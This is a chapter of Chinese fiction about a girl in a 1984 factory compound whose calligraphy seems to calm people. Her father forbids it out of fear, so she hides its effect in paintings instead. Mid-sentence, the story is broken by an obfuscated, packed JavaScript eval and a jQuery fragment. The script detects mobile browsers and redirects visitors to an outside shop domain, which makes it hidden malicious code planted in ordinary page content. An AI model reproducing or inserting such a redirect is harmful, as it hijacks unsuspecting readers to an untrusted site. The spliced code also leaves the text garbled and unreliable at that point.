一九八四年冬天，厂区开始传言。
说老张家的女儿，写字能治病。
谁传的？不知道。可能是王先生，可能是李叔，也可能是别人。一传十，十传百，用不了多久，整个厂区都知道了。
张清知道这事的时候，是在学校。
那天课间，同桌陈苗苗凑过来。陈苗苗长得圆脸圆眼，说话快，嗓门大，班里人都叫她"小喇叭"。
"张清！张清！"她掰着手指头数，"第一，我听我妈说的；第二，隔壁班王强也说了；还有第三呢，连门卫老周都在说！"
"你听我说完嘛！"陈苗苗一急，声音更大了。"都说隔壁厂有个小孩，字写得好，看了能让人睡觉。是不是你嘞？"
"不是我。"张清没抬头。
"就是你嘛！"陈苗苗从兜里掏出一颗糖塞进嘴里，嚼着说，"你写字确实好。上次语文老师还在班上念了你的作文。而且我听说，王先生就是从你这儿拿了个字回去，他失眠就好了？"
张清没说话。
旁边几个同学也竖起了耳朵。张清感觉周围一瞬的安静。她不喜欢被人盯着看的感觉，像动物园里的猴子。
体育委员赵磊也凑过来了。赵磊长得壮壮的，皮肤黑，大嗓门，但最近一个月老是犯困，上体育课都打哈欠。
"张清，能不能给我也写一张？写个'安'字。我最近失眠，期末考试压力大，每天翻来覆去睡不着。"
张清看了看赵磊。他眼圈下面确实有青色。
"行。"她说。"晚上给你。"
那天放学，张清没有直接回家。她在校门口站了一会儿，看着远处的山。冬天的山是灰的，没有树叶，只有光秃秃的枝干在风里摇晃。
她知道，事情变了。以前没人注意她。她就是一个安静的、成绩好的、不爱说话的小孩。现在不一样了。
回到家，张清磨墨，写了一个"安"字。她写得很慢，每一笔都带着"意"。写完，把纸叠好放进口袋里。
第二天早上，她把纸给了赵磊。"放在枕头下面。"
赵磊睡了。第二天兴冲冲跑来。"张清！昨晚睡了七个小时！从开学就没睡过这么长的觉！"
"真的？"
"真的！你那纸上到底写了什么？"
"一个'安'字。"
"就一个字？怎么那么管用？"
张清笑了笑，没说话。
赵磊从口袋里掏出一样东西，递给张清。"给你。我妈让我带给你的。"是四个鸡蛋，用一块碎花手绢包着，还温热。
"你妈说谢谢你的字。她最近也睡不好，也想让你写一张。"
张清接过鸡蛋。鸡蛋很轻，但她觉得手里的分量不轻。四个鸡蛋的重量，比一整本字帖还沉。
接下来一周，张清的课桌上开始出现各种东西。一包花生，一袋橘子，几个烤好的红薯。没有留名字，但张清知道都是那些"好了"的人送的。
赵磊帮她挡了不少人。"别来找张清了。她是个学生。你们要找，找她爸去。"
但挡不住。隔壁班的班主任亲自来了，说有几张红纸，问张清能不能帮忙写几个"福"字过年用。
"不要钱。"
"那怎么行？"班主任从口袋里掏出五块钱。"拿着。"
张清看了赵磊一眼。赵磊点了点头。张清接了钱。
那天晚上，她写了五个"福"字，每一个都带着"意"。
班主任贴了一个在自家门上。整栋楼都看到了。
"老张家那丫头写的？"
"你看这字。"
"好。"
"怎么个好法？"
"就是看着舒服。心里踏实。"
传言，就这么传开了。
来找她的人越来越多。不只是同学，还有老师的家属，厂里的工人。
"小清，我最近头疼，能不能写张字？"
"小清，我老婆最近心情不好，能不能写张字？"
张清都写了。但她有个规矩，不提"治病"。
"我不知道能不能治病。我就是写字。你试试。"
大多数人试了。大多数人好了。
张清知道，这是心理暗示。他们相信张清的字能治病，所以就好了。这是安慰剂效应。周伯年也知道。
但父亲不知道。父亲只知道，来找张清的人越来越多。
他急了。
那天晚上，他把张清叫到里屋。
"你是不是在给全校的人写字？"
"没有。只是几个同学。"
"只是几个同学？"父亲冷笑。"今天车间主任找我谈话了。说'老张，你女儿最近很火啊。好多人都说她能治病。'我怎么回答？我说'没有的事。小孩子瞎写。'"
父亲的声音压得很低。"从今天开始，你不许再给任何人写字。听见没有？"
"可是——"
"没有可是。"父亲说。"你爷爷怎么死的，你忘了？他就是因为'写字'，因为'治病'，因为他说自己会'符箓'，被人打死的。那些人拿着棍子来的，打得你爷爷躺在床上三个月，没起来。"
张清没说话。
"你写的字能让人睡觉。这不是符箓是什么？"
"我没有说我会符箓。"
"但你做了。"
父亲背着手站在门口，望着外面的夜色。他的背影绷得很紧。
"张清，我不是要拦你。我是怕。"
"怕什么？"
"怕你跟你爷爷一样。"
张清看着父亲的脸。那张脸上没有愤怒，没有严厉，只有害怕。一种深沉的、压抑的害怕。
她想起了小时候，父亲逼她写"永"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809187|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
字的场景。每天五十个，写不完不许出去玩。她那时候不理解，觉得父亲在惩罚她。
现在她明白了。父亲是在保护她。逼她练字，练到足够强，强到能保护自己。怕她走爷爷的老路，怕她因为"写字"被人打死。
"爸。"
"嗯。"
"我不给外面的人写了。只写给你看。"
父亲沉默了很久，点了点头。"好。练字去。"
张清转身回了屋。
那天晚上，张清去了周伯年家。
"周老师，我爸不让我写字了。"
"嗯。"周伯年点了点头，摘下老花镜擦了擦。"他是对的。"
"为什么？"
"你现在太显眼了。整个厂区都知道你能'写字治病'。这很危险。"
"可是我只是写了几个'安'字。"
"但你做了你爷爷做过的事。'写字'，'治病'，'帮人'。在1984年的中国，这就是错。"
张清没说话。
"你爷爷就是死在这上面。他帮人，他写字，他说自己是'符箓师'。然后——"周伯年没说完。
"所以我不能帮人？"
"你能帮。"周伯年把老花镜戴回去。"但不能让人知道。"
"怎么做到？"
周伯年想了想。"从今天开始，你不写'字'了。你画'画'。"
"画？"
"对。画山水、花鸟、人物。但画里面，有'意'。别人来看画，不知道你在'帮'他们。他们只知道，'老张家的女儿画得好'。"
"那效果呢？"
"一样的。'意'不分字还是画。只要有'意'，就有效果。"
张清想了想。"好。我试试。"
从那天开始，张清不再写"字"了。她开始画"画"。
画山水。画厂区后面的那座山，她从小看到大，闭着眼睛都知道哪里有石头哪里有树。画河边的柳树，枝干里有一股往上走的劲。画院子里的石榴树和树上的麻雀。画麻雀的眼睛，小小的，黑豆似的，却透着一股活气。
她把"意"藏在笔触里，藏在墨色的浓淡里，藏在画面的留白里。每一幅画都有"意"，但没有人看得出来。来看画的人只觉得这画好看，看着舒服。他们只知道，"老张家的女儿画得好"。看了画以后，心里很安宁。
来找张清的人越来越少。不是不需要帮助了，是不知道张清在"帮"他们。他们来看画，看完就走。走了以后，心里很安宁。这就够了。
父亲终于放心了。
"你这孩子，总算懂事了。"
"嗯。"
"画画比写字好。"父亲说，没说完。
张清知道他想说什么。写字是"封建迷信"。画画是"艺术"。这两个字的距离，比爷爷那代人用命走过的路还要远。